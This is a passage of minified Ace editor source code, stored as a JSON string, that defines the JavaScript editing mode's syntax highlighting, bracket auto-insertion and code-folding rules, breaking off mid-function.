    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var 